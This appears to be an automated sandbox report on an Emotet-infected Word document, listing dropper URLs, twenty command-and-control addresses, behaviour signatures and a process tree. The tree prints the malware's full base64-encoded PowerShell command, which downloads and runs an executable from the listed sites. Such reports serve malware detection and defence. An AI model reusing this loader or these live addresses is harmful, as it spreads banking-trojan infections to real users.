Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    111s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/08/2020, 19:13

Sharing

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General

  • Target
    emotet_e2_e57b0ca58df8456de79ffe676b1b428fc9fb4812b7e7ebd48c5025310243bc1c_2020-08-17__191141._doc.doc
  • Size 235KB
  • Sample200817-trk35nj5ea
  • SHA256 e57b0ca58df8456de79ffe676b1b428fc9fb4812b7e7ebd48c5025310243bc1c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://construction.maitriinfosoft.com/9efesfwep/t05s_px1ir_sqi3/
  • exe.dropper

    http://gymmare.com/wp-admin/a7_o_hf9/
  • exe.dropper

    http://minhnguyenblog.com/wp-admin/lhraw_xpw_7e72qqiz5/
  • exe.dropper

    http://padikkoo.com/wp-admin/we_e_hadnxc2w/
  • exe.dropper

    http://autoswitch.org/wp-admin/j8l8_e_vi2jmzg4/

Extracted

Family

  • emotet

C2

  • 68.44.137.144:443

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 85.66.181.138:80

  • 74.208.45.104:8080

  • 109.116.214.124:443

  • 95.179.229.244:8080

  • 24.137.76.62:80

  • 95.213.236.64:8080

  • 113.160.130.116:8443

  • 47.146.117.214:80

  • 24.233.112.152:80

  • 87.106.139.101:8080

  • 89.186.91.200:443

  • 91.211.88.52:7080

  • 200.41.121.90:80

  • 107.185.211.16:80

  • 104.131.11.150:443

  • 5.39.91.110:7080

  • 62.138.26.28:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e57b0ca58df8456de79ffe676b1b428fc9fb4812b7e7ebd48c5025310243bc1c_2020-08-17__191141._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:896
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWADMAZwA1AGQAcwA1AD0AKAAnAEoAbgAzAGIAZQAnACsAJwB1AHEAJwApADsALgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAFYAOgB0AGUATQBwAFwAbwBGAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQByAGkAdABZAGAAUABgAFIATwB0AE8AQwBPAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAJwArACcAIAB0AGwAcwAxADEAJwArACcALAAnACsAJwAgAHQAbABzACcAKQA7ACQAUgBuAGoAbQBmAHAANgAgAD0AIAAoACcATQBxAHEAJwArACcAOABoAHgAYQAnACsAJwB0ACcAKQA7ACQASwAzAHoAcwBmADAAawA9ACgAJwBXADgAcABlACcAKwAnAGwANQA2ACcAKQA7ACQASgB1AHQAZQB3ADgAdAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcASgAnACsAJwA4AEgATwBmACcAKwAnAGYAaQBjAGUAMgAnACsAJwAwADEAOQBKADgASAAnACkALgAiAFIARQBgAFAAYABMAGEAQwBlACIAKAAnAEoAOABIACcALABbAFMAVABSAEkAbgBHAF0AWwBjAEgAQQBSAF0AOQAyACkAKQArACQAUgBuAGoAbQBmAHAANgArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAVwAzAGkAZgBzAGoAZQA9ACgAJwBRADYAJwArACcAegAnACsAJwAwADkAZABoACcAKQA7ACQAWAB2AG0ANABxADIAMgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAQgBjAEwAaQBFAG4AVAA7ACQATABuADMAcQBjADMAcwA9ACgAJwBoAHQAJwArACcAdABwADoALwAvAGMAbwBuAHMAdAByAHUAYwB0AGkAbwAnACsAJwBuAC4AbQBhAGkAJwArACcAdAAnACsAJwByAGkAaQBuAGYAJwArACcAbwBzAG8AZgAnACsAJwB0AC4AYwAnACsAJwBvACcAKwAnAG0ALwAnACsAJwA5ACcAKwAnAGUAZgBlAHMAZgB3ACcAKwAnAGUAcAAnACsAJwAvACcAKwAnAHQAMAAnACsAJwA1AHMAJwArACcAXwAnACsAJwBwAHgAMQBpAHIAXwBzAHEAJwArACcAaQAnACsAJwAzACcAKwAnAC8AKgBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGcAJwArACcAeQBtAG0AYQByAGUALgBjAG8AbQAvACcAKwAnAHcAJwArACcAcAAnACsAJwAtAGEAJwArACcAZABtAGkAbgAvAGEANwBfAG8AJwArACcAXwBoAGYAOQAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBtAGkAJwArACcAbgBoAG4AZwAnACsAJwB1ACcAKwAnAHkAZQBuAGIAbABvAGcALgAnACsAJwBjACcAKwAnAG8AbQAvACcAKwAnAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAJwArACcAbgAnACsAJwAvAGwAaAByAGEAdwBfACcAKwAnAHgAcAB3AF8ANwAnACsAJwBlACcAKwAnADcAMgAnACsAJwBxAHEAaQAnACsAJwB6ADUAJwArACcALwAnACsAJwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AcABhAGQAaQAnACsAJwBrAGsAJwArACcAbwBvAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4ALwB3AGUAXwBlAF8AaAAnACsAJwBhAGQAbgB4AGMAJwArACcAMgB3ACcAKwAnAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKwAnADoALwAnACsAJwAvAGEAdQB0AG8AcwAnACsAJwB3ACcAKwAnAGkAJwArACcAdABjAGgALgBvAHIAZwAvAHcAcAAnACsAJwAtAGEAZABtACcAKwAnAGkAbgAnACsAJwAvAGoAOABsADgAJwArACcAXwBlAF8AJwArACcAdgBpADIAagBtACcAKwAnAHoAJwArACcAZwAnACsAJwA0AC8AJwApAC4AIgBzAHAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFEAXwB5ADIAZQBnAGcAPQAoACcATQBtAGkAJwArACcAeABhAHQAZwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAHQAZwAxAGgAawBlACAAaQBuACAAJABMAG4AMwBxAGMAMwBzACkAewB0AHIAeQB7ACQAWAB2AG0ANABxADIAMgAuACIAZABgAG8AVwBuAEwAbwBhAEQAYABGAGkAbABlACIAKAAkAFMAdABnADEAaABrAGUALAAgACQASgB1AHQAZQB3ADgAdAApADsAJABQAGcAbQA2ADMAbwBtAD0AKAAnAFEAMgAnACsAJwA3AGsAagBsADIAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEoAdQB0AGUAdwA4AHQAKQAuACIATABgAGUAbgBnAHQAaAAiACAALQBnAGUAIAAzADUANAA0ADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQASgB1AHQAZQB3ADgAdAApADsAJABRAHIAbABmAGQAdwB5AD0AKAAnAFYAeAAnACsAJwBmACcAKwAnAGEAcwA4AGUAJwApADsAYgByAGUAYQBrADsAJABDAG4AMwAyAG0AYQBqAD0AKAAnAE4AJwArACcAZQBuAGwAOAAnACsAJwBlAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADkAbgBjADYAcgBzAD0AKAAnAFIAawA5ADIAZwBmACcAKwAnAGYAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Mqq8hxat.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Mqq8hxat.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Windows\SysWOW64\connect\ntvdm64.exe
        "C:\Windows\SysWOW64\connect\ntvdm64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1560

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/896-4-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/896-6-0x000000000AED0000-0x000000000AED4000-memory.dmp
        Download

        memory/896-7-0x000000000BF50000-0x000000000BF54000-memory.dmp
        Download

        memory/896-2-0x0000000008960000-0x0000000008964000-memory.dmp
        Download

        memory/1536-22-0x000007FEEEA30000-0x000007FEEECAA000-memory.dmp
        Download

        memory/1560-21-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1804-8-0x000007FEE9760000-0x000007FEEA14C000-memory.dmp
        Download

        memory/1804-14-0x000000001C460000-0x000000001C461000-memory.dmp
        Download

        memory/1804-13-0x000000001AB50000-0x000000001AB51000-memory.dmp
        Download

        memory/1804-12-0x0000000001E40000-0x0000000001E41000-memory.dmp
        Download

        memory/1804-11-0x0000000001EE0000-0x0000000001EE1000-memory.dmp
        Download

        memory/1804-10-0x000000001AD70000-0x000000001AD71000-memory.dmp
        Download

        memory/1804-9-0x00000000020B0000-0x00000000020B1000-memory.dmp
        Download

        memory/1948-17-0x00000000004C0000-0x00000000004CC000-memory.dmp
        Download